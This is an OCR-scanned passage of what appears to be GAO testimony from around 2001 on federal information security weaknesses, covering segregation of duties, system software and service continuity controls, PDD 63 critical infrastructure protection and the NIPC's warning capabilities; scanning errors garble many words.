activities oceur, inadeqs £ ion of duties & the risk that er

or fraudulent tr: tions could be pr d, improper program ct
implemented, and computer resources damaged or destroyed. For example,

an individual who was independently responsible for authorizing, processing, and
reviewing payroll transactions could inappropriately increase payments to
selected individuals without detection or

a computer programmer responsible for authorizing, writing, testing, and
distributing program modifications could either inadvertently or deliberately
implement computer programs that did not process transactions in accordance
with management’s policies or that included malicious code.
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Controls to ensure appropriate segregation of duties consist mainly of
documenting, conumunicating, and enforcing policies on group and individual
tesponsibilities. Segregation of duties can be enforced by a combination of
physical and logical access controls and by effective supervisory review. We
identified weaknesses in segregation of duties at most agencies covered by our
analysis. Commen problems involved computer programmers and operators who
were authorized to perform a variety of duties, thus providing them the ability to
independently modify, circumvent, and disable system security features. For
example, at one data center, a single individual could independently develop,
test, review, and approve software changes for implementation,

Segregation of duties problems were also identified related to transaction
processing, For example, at one agency, 11 staff members involved with
procurement had system access privileges that allowed them to individually
request, approve, and record the receipt of purchased items. Jn addition, 9 of the
11 staff members had system access privileges that allowed them to edit the
vendor file, which could result in fictitious vendors being added to the file for
fraudulent purposes. For fiscal year 1999, we identified 60 purchases, totaling
shout $300,000, that were requested, approved, and receipt-recorded by the same
individual.

Operating System
Seftware Controls

Operating system software controls limit and monitor access to the powerful
programs and sensitive files associated with the computer systems operation.
Generally, one set of system software is used to support and control 2 variety of
applications that may run on the same computer hardware. System software helps
control and di the input, pre ing, output, and data storage associated
with all applications that run on the system. Some system software can change
data and program code on files without leaving an audit trail or can be used to
modify or delete audit trails. Examples of system software include the operating
system, system utilities, program library systems, file maintenance software,
security software, data communications sy , and datat 1t
systems.

Controls over access to and modification of system software are essential in
providing reasonable assurance that operating system-based security controls are
not compromised and that the system will not be impaired. If controls in this area
are inadequate, unauthorized individuals might use system software to
circumvent security controls to read, modify, or delete critical or sensitive
information and programs. Also, authorized users of the system may gain
unauthorized privileges to conduet unauthorized actions or to circumvent edits
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and other controls built into application programs. Such weaknesses seriously
diminish the reliability of information produced by all applications supported by
the computer system and increase the risk of fraud, sabotage, and inappropriate
disclosure. Further, system software programmers are often more technically
proficient than other data processing personnel and, thus, have a greater ability to
perform unauthorized actions if controls in this area are weak.

The control concerns for system software are similar to the access contral issues
and software program change control issues discussed earlier. However, because
of the high level of risk associated with system software activities, most entities
have a separate set of control procedures that apply to them. Weaknesses were
identified at each agency for which operating system controls were reviewed. A
common type of problem reported was insufficiently restricted access that made
it possible for knowledgeable individuals to disable or circumvent controls ina
variety of ways. For example, at one agency, system support personnel had the
ability to change data in the system audit log. As a result, they could have
engaged in a wide array of inappropriate and unauthorized activity and could
have subsequently deleted related segments of the audit log, thus diminishing the
likelithood that their actions would be detected.

Further, pervasive vainerabilities in network configuration exposed agency
systems 1o attack. These vulnerabilities stemmed from agencies’ failure to (1)
install and maintain effective perimeter security, such as firewalls and screening
routers, {2} implement current software patches, and (3} protect against
commonly known methods of attack.

Service Continnity
Controls

Finally, service continuity controls ensure that when unexpected events ocour,
critical operations will continue without undue interruption and that crucial,
sensitive data are protected. Losing the capability to process, retrieve, and protect
electronically maintained information can significantly affect an agency’s ability
to accomplish its mission. If service continuity controls are inadequate, even
relatively minor interruptions can result in lost or incorrectly processed data,
which can cause financial losses, expensive recovery efforts, and inaccurate or
incomplete information. For some operations, such as those involving health care
or safety, system interruptions could even result in injuries or loss of life.

Service continuity controls should address the entire range of potential
disruptions including relatively minor interruptions, such as temporary power
failures or accidental loss or erasure of files, as well as major disasters, such as
fires or natural disasters, that would require reestablishing operations at a remote
location. It is also essential that the related controls be understood and supported
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by management and staff throughout the organization. Senior management
commitment is especially important to ensure that adequate resources are devoted
to emergency planning, training, and related testing.

To establish effective service continuity controls, agencies should first assess the
criticality and sensitivity of their computerized operations and identify
supporting resources. At most agencies, since the continuity of certain automated
operations is more important than others, it is not cost-effective to provide the
same level of continuity for all operations. For this reason, it is important that
management, based on an overall risk assessment of agency operations, identify
which data and operations are most critical, determine their priority in restoring
processing, and identify the minimum resources needed to recover and support
them. Agencies should then take steps to prevent and minimize potential damage
and interruption. These steps include routinely duplicating or backing up data
files, computer programs, and critical documents with off-site storage; installing
environmental controls, such as fire suppression systems or backup power
supplies; arranging for remote backup facilities that can be used if the entity’s
usual facilities are damaged beyond use; and ensuring that staff and other users
of the system understand their responsibilities in case of emergencies. Taking
such steps, especially implementing thorough backup procedures and installing
environmental controls, are generally inexpensive ways to prevent relatively
minor problems from becoming costly disasters.

Agencies should also develop a comprehensive contingency plan for restoring
critical applications that includes arrangements for alternative processing
facilities in case the usual facilities are significantly damaged or cannot be
accessed. This plan should be documented, tested to determine whether it will
function as intended in an emergency situation, adjusted to address identified
weaknesses, and updated to reflect current operations. Both user and data
processing departments should agree on the plan, and it should be communicated
to affected staff. The plan itself should identify and provide information on
supporting tesources that will be needed, roles and responsibilities of those who
will be involved in recovery activities, arrangements for off-site disaster recovery
location'® and travel and lodging for necessary personnel, off-site storage
location for backup files, and procedures for restoring critical applications and
their order in the restoration process. In testing the plan, it is most useful to
simulate a disaster situation that tests overall service continuity, including
whether the alternative data processing site functions as intended and whether

'®Depending on the degree of service continuity needed, choices for alternative facilities will range
from an equipped site ready for immediate backup service, referred to as a “hot site,” to an
unequipped site that will take some time to prepare for operations, referred to as a “cold site.” In
addition, various types of services can be prearranged with vendors, such as making arrangements
with suppliers of hard and tel i-cations services as well as with suppliers of
‘business forms and other office supplies.
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critical computer data and programs recovered from off-site storage are
accessible and current. Such testing not only helps managers identify
weaknesses, it also assesses how well employees have been trained to carry out
their roles and responsibilities in a disaster situation. Generally, contingency
plans for very critical functions should be fully tested about once every year or
two, whenever significant changes to the plan have been made, or when
significant turnover of key people has occurred.

Of importance is that contingency planning be considered within the larger
context of restoring the organization’s core busi processes, Federal ag
depend on their own internal systems, but also on data provided by their business
partners and services provided by the public infrastructure (e.g., power, water,
transportation, and voice and data telecommunications). One weak link anywhere
in the chain of critical dependencies can cause major disruptions to business
operations, During the Year 2000 computing challenge, it was essential that
agencies develop business continuity and contingency plans for all critical core
‘business processes and supporting systems regardless of whether these systems
were owned by the agency. As we reported in September 2000 on the lessons
learned from this challenge, developing these plans was one of a number of
management practices that, if continued, could improve federal agencies’ overall
information technology management, particularly in areas such as critical
infrastructure protection and security.”

1

The September 11 tragedies d ated just how D and di

events can be and how absolutely essential it is for the government to be able to
continue critical operations and services during emergency situations. In the
aftermath of these events, news reports indicate that business continuity and
contingency planning has been a critical factor in restoring operations for New
York’s financial district, with some specifically atiributing companies’
preparedness to the contingency planning efforts begun for the Year 2000
challenge. In particular, the Year 2000 chall i d

on continuity and risk management. It also gave companies a chance to rehearse
a disaster beforehand.

However, while the Year 2000 challenge increased the focus on business
continuity and conti planning, our analysis of reports since July 1999
showed that most federal agencies covered by our review had service continuity

control weaknesses. Examples of common weaknesses included the following:

Plans were incomplete because operations and supporting resources had not been
fully analyzed to determine which were the most critical and would need to be
resumed as soon as possible should a disruption occur.

Year 2000 Computing Challenge: Lessons Learned Can Be Applied to Other Management
Challenges (GAO/AIMD-00-290, September 12, 2000).
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» Disaster recovery plans were not fully tested to identify their weaknesses. For
example, agencies had not performed periodic walkthroughs or unannounced
tests of the disaster recovery plan—tests that provide a scenario more likely to be
encountered in the event of an actual disaster.

Qur more recent work also confirms that service continuity weaknesses continue
to exist. For example, in July, we teported that while the Department of the
Interior’s National Business Center had conducted comprehensive tests of its
disaster recovery plan for its computer center, improvements were still needed in
some areas of its overall plan®® One of the weaknesses was that the center had
not conducted d tests or walk-throughs of its disaster recovery plan.
Instead, all tests had been planned with participants fully aware of the disaster
recovery test scenatio, unlike in an actual disaster, when there is usually itle or
no warning. In addition, critical backup files for financial and sensitive agency
personnel programs, data, and software stored off site were not inventoried. As a
result, if a disaster befell the center’s main computer facility, there were no
assurances that all critical and sensitive system resources would be available to
fully restore all key systems.

As another example, in August, we reported that of the seven Department of
Commerce bureaus we reviewed,” none had developed comprehensive plans to
ensure the continuity of service in the event of a service disrupticm.22 Specific
service continuity weaknesses identified included the following:

* None of the seven bureaus had completed recovery plans for all their sensitive
systems.

» Although one bureau had developed two recovery plans, one for its data center
and another for its software development installation center, the bureau did not
have plans to cover disruptions to the rest of its critical systems, including its
local area network.

+ Systems at six of the seven bureaus did not have d d backup procedure;

®GAQ-01-615 (uly 3, 2001).
*The seven Commerce bureaus we reviewed were the Bureau of Export Administration, the
ic D ini; ion, the ics and Statistics Administration, the

International Trade Adminisyation, the Minority Business Development Agency, the National

| ications and i ini ion, and the Office of the Secretary. {For the seke
of simplification, we use the term “buresus” to refer to all seven Commercs organizations, although
the Office of the Secretary is not a bureau.] All of these bureaus are based at the Hoover Building
in Washington, D.C., and have missions related to or support for trade development, reporting,

i fation, and ight.

BGA0-01-751 (August 13, 2001).
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»

One burean stated that it had an agreement with another Commerce bureau to
back it up in case of disruptions; however, this agreement had not been
documented.

One bureau stated in its backup sirategy that tapes used for system recovery were
neither stored off-site nor protected from destruction. For example, backup for fts
network file servers is kept in a file cabinet in a bureau official’s supply room,
and backup tapes for a database and web server are kept on the shelf above the
server. In case of a destructive event, the backups could be subject to the same
damage as the primary files.

Two bureaus had no backup facilities for key network devices such as firewalls,

Security Program Management
Can Be Improved With

3w Evaluation and
“Keporting Requirements

.

Our prior information security reports include many recommendations to
individual agencies that addvess specific weaknesses in the areas I have just
deseribed. Agencies have taken steps to address problems, and many have
remedial efforts underway. However, these efforts will not be fully effective and
lasting unless they are supported by a strong agencywide security management
framework.

Establishing sach a it framework requires that agencies take a
comprehensive approach that involves both {1} semior agency program managers
who understand which aspects of their missions are the most critical and sensitive
and (2) technical experts who know the agencies’ systems and can suggest
appropriate technical security control techniques. We studied the practices of
organizations with superior security programs and summarized our findingsin a
May 1998 executive guide entitled Information Security Management: Learning
From Leading Organizations (GAO/AIMD-98-68), Our study found that these
organizations managed their information security risks through a cycle of risk
management activities that included

assessing risks and determining protection needs,

selecting and implementing cost-effective policies and controls to meet these
needs,

promoting awareness of policies and controls and of the risks that prompted their
doption among those responsible for complying with them, and

Page19 GAOG-91-1168T



27

e implementing a program of routine tests and examinations for evaluating the
effectiveness of policies and related controls and reporting the resulting
conchisions to those who can take appropriate corrective action.

In addition, a sirong, ceniralized focal point can help ensure that the major

i of the risk nent cycle are carried out and serve as a
communications link among organizational units. Such coordination is especially
important in today’s highly networked computing environments.

Implementing this cycle of risk management activities is the key o ensuring that
information security risks are adequately considered and add donan
ongoing, agencywide basis. Included within it are several steps that agencies can
take immediately. Specifically, they can (1) increase awareness, (2) ensure that
existing controls are operating effectively, (3) ensure that software patches are
up-to-date, (4) use automated scanning and testing tools to quickly identify
problems, (5) propagate their best practices, and (6) ensure that their most
common valnerabilities are addressed. Although none of these actions alone will
ensure good security, they take advantage of teadily availabie information and
tools and, thus, do not involve significant new resources. As a result, they are
steps that can be made without delay.

Due to concerns about the repeated reports of computer security weaknesses at
federal agencies, in late 2000, Congress enacted government information security
reform legislation as part of the Fiscal Year 2001 National Defense Autherization
Act to require agencies to implement the activities I have just described. In
addition to requiring security program management improvements, the new
provisions require that both management and agency inspectors general annually
evaluate agency information security programs. The Office of Management and
Budget (OMB) asked agencies to submit the results of their program reviews and
the results of their inspector general’s independent evaluation by September 10.
In accordance with the new law, OMB plans te develop a summary report to the
Congress later this year. This summary report, and the subordinate agency
reports, should provide a more complete picture of the status of federal
information security than has previously been available, thereby providing the
Congress and OMB with an improved means of overseeing agency progress and
identifying areas needing improvement.

This annwal evaluation and reporting process is an important mechanism,
previously missing, for holding ies accountable for implementing effective
security and managing the problem from a governmentwide perspective, We are
currently reviewing agency implementation of the new provisions.
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Critical Infrastructure Protection
Efforts Supplement Traditional

Information Security

*

*

.

Beyond the risks of computer-based attacks on critical federal operations, the
federal government has begun to address the risks of computer-based attacks on
our nation’s computer-dependent critical infrastructures, such as electric power
distribution, telecommunications, and fransportation systems. Although these
efforts pertain to many traditional computer security issues, such as maintaining
the integrity, confidentiality, and availability of important computerized
operations, they focus primarily on risks of national importance and encompass
efforts to ensure the security of privaicly controlled critical infrasiructures.

The history of federal initiatives to address these computer-based risks includes
the following.

In June 1995, a Critical Infrastructure Working Group, led by the Atterney
General, was formed to (1) identify critical infrastructures and assess the scope
and nature of threats to them, (2) survey existing government mechanisms for
addressing these threats, and (3) propose options for a full-time group to consider
long-term government responses to threats to critical infrastructures. The
working group identified critical infrastructures, characterized threats to them,
and d ing a cormmission to investigate such issues.

In February 1996, the National Defense Authorization Act required the cxecutive
branch to provide a repoit to the Congress on the policies and plans for
developing capabilities to defend against computer-based attacks, such as
warnings of strategic attacks against the national information infrastructare.”

Later that year, the Permanent Sub on Inv ions, Senate
Committee on Governmental Affairs, began to hold hearings on security in
cyberspace. Since then, ional interest in pr i tional

infrastructures has remained strong.

In July 1996, in response to the recommendation of the 1993 working group, the
President's Commission on Critical Infrastructure Protection was established to
further investigate the nation's vulnerebility to both eyber and physical threats.

In October 1997, the President’s Commission issued its report,” which described
the potentially devastating implications of poor information security from a
national perspective.

BNational Defense Authorization Act of Fiscal Year 1995, Pub, 1.104-106, Div. A, Title X,

Subtitie E, Section 1053,

FCritical Foundations: Protecing America’s Infrastraciures, the Report of the President’s
ission on Critical Infrastructure Protection, October 1997,
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In response to the cormmission’s report, the President initiated actions to
implement a cooperative public/private approach to protecting the nation’s
critical infrastructures by issuing PDD 63 in May 1998. The directive called for a
range of activities to improve federal agency security programs, establisha
partnership between the government and private sector, and improve the nation’s
ability to detect and respond to serious attacks, The directive established critical
infrastructure protection as a national goal, stating that, by the close of 2000, the
United States was to have achieved an initial operating capability and, no later
than 2003, the capability to protect the nation’s critical infrastructures from
intentional destructive acts.

To accomplish its goals, PDD 63 designated the National Coordinator for
Security, Infrastructure Protection, and Counter-Terrorism, who reports to the
Assistant to the President for National Security Affairs, to overses the
development and inmpl ion of naticnal policy in this area. The directive
also established the National Plan Coordination staff, which became the Critical
Infrastructure Assurance Office, an interagency office housed in the Depattinent
of Commerce responsible for planning infrastructure protection efforts. It further
authorized the FBI to expand its National Infrastructure Protection Center (NIPC)
and directed the NIPC to gather information on threats and coordinate the federal
government’s response to incidents affecting infrastructures.

In addition, the directive designated “lead agencies” to work with private-sector
and government entities in each of eight infrastructure sectors and five special
function areas. For example, the Department of the Treasury is responsible for
working with the banking and finance sector, and the Department of Energy is
responsible for working with the electric power industry. Similarly, regarding
special function areas, DOD is responsible for national defense, and the
Department of State is responsible for foreign affairs. To facilitate private-sector
participation, PDD 63 encouraged the creation of Information Sharing and
Analysis Centers (ISACs) that could serve as mechanisms for gathering,
analyzing, and appropriately sanitizing and disserninating information to and
from infrastructure sectors and the NIPC. Figure 1 depicts the entities with
critical infrastructure protection responsibilities as outlined by PDD 63.
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Figure 1: Critical Infrastructure Protection Responsibilities as Outlined by PPD 63
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Shortly after the initial issuance of PDD 63, we reported on the importance of
developing a governmentwide strategy that clearly defines and coordinates the
roles of new and existing federal entities to ensure govemmentwide cooperation
and support for PDD 63.%° Specifically, we noted that several of PDD 63’s
provisions appeared to overlap with existing requirements prescribed in the
Paperwork Reduction Act; OMB Circular A-130, Appendix II; the Computer
Security Act; and the Clinger-Cohen Act. In addition, some of the directive’s
objectives were similar to objectives being addressed by other federal entities,
such as developing a federal incident-handling capability, which was then in the
process of being addressed by the National Institute of Standards and Technology
and the federal Chief Information Officers Council?® At that time, we
recommended that OMB, which, by law, is responsible for overseeing federal
information security, and the Assistant to the President for National Security
Affairs ensure such coordination.

In July 2000, we reported that a variety of activities had been undertaken in

Tesp to PDD 63, including d ping and reviewing individual agency
critical infrastructure protection plans, identifying and evaluating information
security standards and best practices, and the White House’s issuing its National
Plan for Information Systems Protection’’ as a first major element of a more
comprehensive strategy to be developed.”® At that time, we reiterated the
importance of defining and clarifying organizational roles and responsibilities,
noting that mumerous federal entities were collecting, analyzing, and
disseminating data or guidance on computer security vulnerabilities and incidents
and that clarification would help énsure a common understanding of {1} how the
activities of these many organizations interrelate, (2) who should be held
aceountable for their success or failure, and (3) whether such activities will
effectively and efficiently support national goals.

The administration is currently reviewing the federal strategy for critical
infrastructure protection that was originally outlined in PDD 63. On May 9, the
‘White House issued a statement saying that it was working with federal agencies
and private industry to prepare a new version of a “national plan for cyberspace
security and critical infrastructure protection” and reviewing how the government
is organized to deal with information security issues. Administration officials are
currently discussing how the government’s strategy for protecting critical

*Information Security: Serious Weaknesses Flace Critical Federal Operations and Assets at Risk
(GAO/AIMD-98-92, September 23, 1998).

The federal incident handling program is now operated by the Federal Computer Incident
Respoase Center at the General Services Administration.

FDefending America’s Cyberspace: National Plan for Information Systems Protection: Version
1.8: An Invitation to a Dialogue, The White House, January 7, 2000.

*Critical Infre re Protection: Chalk to Building a Comyp ive Strategy for

I ion Sharing and Coordination (GAQ!T-AIMD-00-268, July 26, 2000).

1
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computer-dependent infrastructures will relate to the responsibitities of the
recently established Office of Homeland Security.

Progress in Implementing
PDD 63 Has Been Limited

Last week, as part of our broader report on counterterrorism, we reported that
efforts were underway by lead federal agencies, the Critical Infrastructure
Assurance Office, and the NIPC to foster cooperative relationships between the
federal government and nonfederal sectors. However, efforts to perform
substantive analyses of infrastructure vulnerabilities and implementation of
remedial actions had been limited.”

To assist in establishing relationships with major infrastructure owners and
operators, PDD 63 requires lead agencies to assign a high-ranking official, as an
agency sector liaison, to lead efforts in cooperation with the sector owners and
operators in addressing problems related to critical infrastmucture protection and,
in particular, in recommending components of a national infrastructure assurance
plan. Similarly, the directive required the agency sector Haison officials, after
discussions and coordination with entities of their infrastructure sector, to
identify infrastructure sector coordinators to represent their sector. In addition,
PDD 63 outlined tasks that the lead agencies were to encourage and assist the
infrastructure sectors in accomplishing, including developing vulnerability
education and outreach programs, establishing ISACs, performing vulnerability
assessments of the sectors, and developing related remediation plans.

As of March 2001, cach of the eight lead agencies we reviewed had designated
sector liaisons, and seven of the eight major infrastructure sectors had identified
one or more individuals or groups as sector coordinators for their respective
infrastructure sector. Infrastructure sector coordinators had not been selected for
the public health services sector because, according to officials at the Department
of Health and Human Services, the infrastructure owners and operators had not
been fully ideutified due to the large and diverse communities involved. Also,
most infrastructure sectors had planned or held education and outreach events,
such as workshops, conferences, and industry meetings to address broad CIP
needs and specific concems. Further, six ISACs within five infrastructures had
been established to gather and share mformation about vulnerabilities, attempted
infrusions, and attacks within their respective infrastructures and to meet specific
sector objectives.

P Combati ism. Selected Chall and Related R ions (GAO-01-822,
September 20, 2001).
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However, beyond building pertnerships, raising awareness, and improving
information sharing, efforts to perform substantive, comprehensive analyses of
infrastructure sector vulnerabilities and development of related remedial plans
had been limited. While some assessments had been performed for individual
sector components, interdependencies within and among the infrastructures had
not been fully considered. For example, within the banking and finance sector,
while most large institutions had undergone vulnerability assessments, a
vulnerability assessment of banking and finance institutions as a group to identify
interdependencies and events that could cause a system failure across the
infrastructure had not oceurred. Such sector-wide assessments had not yet been
performed because sector coordinators were still establishing the necessary
relationships, identifying critical assets and critical entities, and researching and
identifying appropriate methodologies. In addition, some federal officials stated
that their agencies did not have the resources to assist in the completion of sector
vulnerability assessments.

Factors cited by the private sector as impeding progress in building the necessary
government/private-sector parinerships and identifying and addressing
vulnerabilities inciuded concerns that (1) organizations potentially could face
antitrust violations for sharing information with other industry partners or face
potential liabilities for information shared in good faith, (2) sensitive information
may be disclosed under the Freedom of In& ion Act, (3) an inadvertent
release of confidential business information, such as trade secrets or proprietary

" information, could damage reputations, lower consumer confidence, and hurt
competitiveness, (4) some senior executives were not fully aware of the
importance of their assets to the national and economic security of the nation, and
(5) organizations capable of coordinating actions across large and complex
infrastructures did not exist.

However, other efforts have supplemented lead agency efforts. For example, in
December 1999, the Critical Infrastructure Assurance Office helped establish the
Partnership for Critical Infrastructure Security as a forum of private-sector

b P for raising and understanding of cross-industry
critical infrastructure issues and as a catalyst for action among the owners and
operators of the critical infrastructures. As of March 2001, the Partnership had 51
members from various infrastructure sectors. It also had created working groups
to address interdependency vulnerability assessment; information sharing,
awareness, and education; legislation and public policy objectives; research and
development and workforee development; and organization issues/public private
cooperation. Further, the Critical Infrastructure Assurance Office has worked
with the audit community to produce and distribute a guide for corporate boards
on managing information security risks and coordinated or sponsored a series of
conferences to raise includi; for the legal community
to advance the understanding of legal issues associated with information security.
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In addition, the NIPC, which is responsible for analysis, warning, and response
related to cyber incidents, had made some progress in establishing cooperative
relationships with the private sector. Specifically, in April 2001, we reported
that the NIPC had worked to build information-sharing relationships with the
private sector through the adeption and expansion of the InfraGard Program,
which started in 1996, to provide a secure mechanism for two-way information
sharing about intrusion, incidents, and system vulnerabilities. By carly January
2001, 518 entities were InfraGard members—up from 277 members in October
2000. Members included repres; ives from private industry, other government
agencies, state and Jocal law enfor and the academic ¢ ity

Further, PDD 63 called for a plan to expand international cooperation on eritical
infrastructure protection and designated the Department of State as the lead
agency in this area. According to Department of State officials and the
President’s Status Report on CIF, an intemnational strategy is being implemented
that coordinates CIP outreach to other governments and international
intergovernmental organizations and promotes CIP awareness, vigilance in
security standards and practices, and law enforcement cooperation. As part of
this strategy, the Department had organized meetings with key allies to discuss
common issues related to infrastructure protection and developed a United
Nations Resolution on cybercrime, which pagsed unanimously in the United
Nations General Assembly. Further, Department of Justice officials were
negotiating a Council of Europe convention intended to facilitate international
law enforcement issues related to corputer crime and, as of March 2001, this
treaty still was being negotiated. The Department of Justice also chairs the G-8
High Tech Crime Subgroup that is focused on enhancing law enforcement’s
abilities to prevent, investigate, and prosecute high-technology crime.” Further,
Commerce officials had participated in meetings with representatives from other
countries to discuss and negotiate CIP issues, including the Council of Europe
treaty.

In addition to requiring federal departments and agencies to work with the private
sector, PDD 63 required them to (1) establish plaus for protecting their own
critical infrastructure that were to be implemented within 2 years, or by May
2000, and (2) develop procedures and conduct vulnerability assessments. In
response, federal agencies have taken initial steps to develop ¢ritical
infrastructure protection plans, but, as discussed earlier, independent audits

inue to identify persi significant information security weaknesses that
place federal operations at high risk of tampering and disruption.

P Critigal Protection: Signj Chall in Developing National Capabiliti
{GAO-01-323, April 25, 2001).

*Bight major industrialized countries comprise the G-8, which inchudes Canada, France, Germany,
Ttaly, Japan, Russia, the United Kingdom, and the United States.
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A March 2001 report by the President’s Council on Integrity and Efficiency and
the Executive Council on Integrity and Efficiency (PCIE/ECIE) identified
significant deficiencies in agencies’ implementation of PDD 63 based on reviews
conducted by agency inspectors general ** Specifically,

many agencey critical infrastructure protection plans were incomplete and some
agencies had not developed such plans,

most agencies had not completely identified their mission-essential infrastructure
assets, and

few agencies had completed vulnerability of their
essential infrastructure assets or developed remediation plans.

The PCIE/ECIE report concluded that the federal government could improve its
PDD 63 planning and assesstnent activities and questioned the federal
govemment’s ability to protect the nation’s critical infrastructures from
intentional destructive acts by May 2003, as required in PDD 63.

Our subsequentreview of PDD 63-related activities at eight lead agencies found
similar problems, although some agencies had made progress since their
respective inspectors general reviews.” For example, while five agencies had or
were in the process of updating their plans, three were not revising their plans to
address reported deficiencies. In addition, while most of the agencies we
reviewed had identified critical assets, many had not completed related
vulnerability assessments. Further, most of the eight agencies we reviewed had
not taken the additional steps to identify interdependencies and, as a result, some
ageney officials said that they were not sure which of their assets were critical
from a national perspective and, therefore, suhject to PDD 63. Identifying
interdependencies is imp so that infrastructure owners can determine when
disruption in ons infrastructure may result in damage to other infrastructures.

We identified several factors that had impeded federal agency efforts to comply
with this aspect of PDD 63. First, no clear definitions had been developed to
guide development and implementation of agency plans and measure
performance. For example, PDD 63 established December 2000 as the deadline
for achieving an initial operating capability and May 2003 for achieving full
aperational capability of key functions. However, the specific capabilities to be
achieved at each milestone had not been defined. The PCIE/ECIE report noted

**The PCIE primarily is comprised of the presidentiatly appointed inspectors general and the ECIE
is primarily comprised of the agency head d B general. In ber 1999, PCIE
and ECIE formed 2 working group to review the adequacy of federal agencies” implementation of
PDD 63. The March 2001 report is based on reviews by 21 & general of their respect?
agencies’ PDD 63 planning and assessment activities.

34(3A0-03-822 (September 20, 2001).
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that agencies had nsed various interpretations of initial operating capability and
stated that, without a definition, there isno ¢ i of p toward
achieving full security preparedness. In addition, several agency officials said
that funding and staffing constraints contributed to their delays in implementing
PDD 63 requirements. Further, the availability of adequate technical expertise to
provide information security has been a continuing concern to agencies.

Progress in the NIPC
Has Been Mixed

A key element of the strategy outlined in PPD 63 was the establishment of the
NIPC as “a national focal point” for gathering information on threats and
facilitating the federal government’s response to computer-based incidents.
Specifically, the directive assigned the NIPC the responsibility for providing
comprehensive analyses on threats, vulnerabilities, and attacks; issuing timely
warnings on threats and attacks; facilitating and coordinating the government's
response to computer-based incidents; providing law enforcement investigation
and response, monitoring reconstitution of minimum required capabilities after
an infrastructure attack; and promoting outreach and information sharing.

In April, we reporied on the NIPC’s progress in developing national capabilities
for analyzing threat and vulnerability data and issuing wamings, responding to
attacks, and developing information-sharing relationships with government and
private-sector entities.” Overall, we found that while progress in developing
these capabilities was mixed, the NIPC had initiated a variety of critical
infrastructure protection efforts that had laid a foundation for future
governmentwide cfforts. In addition, the NIPC had provided valuable support
and coordination related to investigating and otherwise responding to attacks on
computers. However, at the close of our review, the analytical and information-
sharing capabilities that PDD 63 asserted are needed to protect the nation’s
critical infrastructures had not yet been achieved, and the NIPC had developed
only limited warning capabilities. Developing such capabilities is a formidable
task that experts say will take an intense interagency effort.

Multiple Factors Have Limited

Development of Analysis
and Warning Capabilities

PDD 63 assigns the NIPC responsibility for developing analytical capabilities to
provide comprehensive information on changes in threat conditions and newly
identified system vulnerabilities, as well as timely warnings of potential and

*GA0-01-323 (April 25, 2001).
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actual attacks. This responsibility requires obtaining and analyzing intelligence,
law enforcement, and other information to identify patterns that may signal that
an attack is underway or imminent.

Since its establishment in 1998, the NIPC has issued a variety of analytical
products, most of which have been tactical analyses pertaining to individual
incidents. These analyses have included (1) situation reports related to law
enforcement investigations, including denial-of-service attacks that affected
numerous Internet-based entities, such as ¢Bay and Yahoo, and (2) analytical
support of a counterintelligence investigation. In addition, the NIPC has issued a
variety of publications, most of which were compilations of information
previously reported by others with some NIPC analysis.

The use of strategic analysis to determine the potential broader implications of
individual incidents has been limited. Such analysis looks beyond one specific
incident to consider a broader set of incidents or implications that may indicate a
potential threat of national importance. Identifying such threats assists in
proactively managing risk, including evaluating the risks associated with possible
future incidents and effectively mitigating the impact of such incidents.

Three factors have hindered the NIPC’s ability to develop strategic analytical
capabilities.

First, there is no generally accepted methodology for analyzing strategic cyber-
based threats. For example, there is no standard terminology, no standard set of
factors to consider, and no established thresholds for determining the
sophistication of attack techniques. According to officials in the intelligence and
national security community, developing such 2 methodology would require an
intense interagency effort and dedication of resources.

Second, the NIPC has sustained prolonged leadership vacancies and does not
‘have adequate staff expertise, in part because other federal agencies have not
pravided the originally anticipated number of detailees. For example, at the close
of our review in February, the position of Chief of the Analysis and Warning
Section, which was to be filled by the Central Intelligence Agency, had been
vacant for about half of the NIPC’s 3-year existence. In addition, the NIPC had
‘been operating with only 13 of the 24 analysts that NIPC officials estimate are
needed to develop analytical capabilities.

Third, the NIPC did not have industry-specific data on factors such as critical
system components, known vulnerabilities, and interdependencies. Under PDL
63, such information is tc be developed for cach of eight industry segments by
industry representatives and the designated federal lead agencies. However, at the
close of our work in February 2001, only three industry assessments had been
partially completed, and none had been provided to the NIPC.
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To provide a warning capability, the NIPC established a Watch and Warning
Unit that monitors the Internet and other media 24 hours a day to identify reports
of computer-based attacks. As of February, the unit had issued 81 warnings and
related products since 1998, many of which were posted on the NIPC’s Internet
web site. While some warnings were issued in time to avert damage, most of the
warnings, especially those related to viruses, pertained to attacks underway. The
NIPC’s ability to issue warnings promptly is impeded because of (1) a lack of a
comprehensive governmentwide or nationwide framework for promptly
ohtaining and analyzing information on imminent attacks, (2) a shortage of
skilled staff, (3) the need to ensure that the NIPC does not raise undue alarm for
insignificant incidents, and (4) the need to ensure that sensitive information is
protected, especially when such information pertains to law enforcement
investigations underway.

However, I want to emphasize a more fundamenta] impediment in the NIPC’s
progress. Specifically, evaluating its progress in developing analysis and warmning
capabilities was difficult because the entities involved in the government’s
critical infrastructure protection efforts did not share a common interpretation of
the NIPC’s roles and responsibilities. Further, the relationships between the
Center, the FBI, and the National Coordinator for Security, Infrastructure
Protection, and Counter-Terrorism at the National Security Council were unclear
regarding who has direct authority for setting NIPC priorities and procedures and
providing NIPC oversight. In addition, NIPC’s own plans for further developing
its analytical and waming capabilities were fragmented and incomplete. Asa
result, no specific priorities, milestones, or program performance measures
existed to guide NIPC’s actions or provide a basis for evaluating its progress.

In our April report, we recognized that the adminisiration was reviewing the
government’s infrastructure protection strategy and recommended that, as the
administration proceeds, the Assistant to the President for National Security
Affairs, in coordination with pertinent executive agencies,

establish a capability for strategically analyzing computer-based threats,
including developing related methodology, acquiring staff expertise, and
obtaining infrastructure data,

require development of 2 comprehensive data collection and analysis framework
and ensure that national watch and waming operations for computer-based
attacks are supported by sufficient staff and resources, and

clearly define the role of the NIPC in relation to other government and private-
sector entities.

In commenting on a draft of the report, the Special Assistant to the President and
Sentor Director for Legislative Affairs at the National Security Council stated
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that our report highlighted the need for a review of the roles and responsibilities
of the federal agencies involved in U.S. critical infrastructure protection support.
In addition, he stated that the administration will consider our recommendations
as it reviews federal cyber activities to determine how the critical infrastructure
protection function should be organized. The Special Assistant to the President
added that some functions might be better accomplished by distributing the tasks
across several existing federal agencies, creating a “virtual analysis center” that
would not only provide a governmentwide analysis and reporting capability, but
also support rapid dissemination of cyber threat and warning information.

NIPC Coordination and Technical

Support Have Benefited

Investigative and

Response Capabilities
PDD 63 directed the NIPC to provide the principal means of facilitating and
coordinating the federal government’s response to computer-based incidents. In
response, the NIPC undertook efforts in two major areas: providing coordination
and technical support to FBI investigations and establishing crisis-management
capabilities.

First, the NIPC provided valuable coordination and technical support to FBI field
